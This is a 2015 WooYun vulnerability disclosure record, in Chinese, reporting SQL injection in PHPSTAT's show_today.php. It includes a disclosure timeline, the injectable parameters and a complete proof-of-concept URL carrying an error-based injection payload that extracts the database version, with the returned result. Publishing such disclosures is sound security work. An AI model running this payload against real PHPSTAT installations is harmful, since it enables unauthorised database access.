缺陷编号:WooYun-2015-0127266
漏洞标题:PHPSTAT最新版多处SQL注入漏洞(demo复现)
相关厂商:phpstat
漏洞作者:路人甲
提交时间:2015-07-20 18:37
公开时间:2015-10-23 18:38
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开
PHPSTAT最新版多处SQL注入漏洞,demo复现
官方demo,已是最新版:
1 |
http://**.**.**.**/demo.show.php |
漏洞文件:show_today.php其中参数:
1 |
searchtypesearchkeyorderstr |
均存在延时注入,mysql delay blind附POC:
1 |
http://**.**.**.**/common_demo/show_today.php?action=today&costtype=&endtime=2015-07-16&enginekey=&fromtype=&mediumkey=&orderby=&orderstr=desc&pagesize=10&ploykey=&searchkey=1&searchtype=1%20order%20by%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20(substring((select(version())),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b);%23&selectinfotype=&server=d1&starttime=2015-07-16&types=&userkey=&website=1 |
Result:
1 |
15.5.37 |
危害等级:无影响厂商忽略
忽略时间:2015-10-2318:38
漏洞Rank:15 (WooYun评价)
暂无
原文连接
的情况下转载,若非则不得使用我方内容。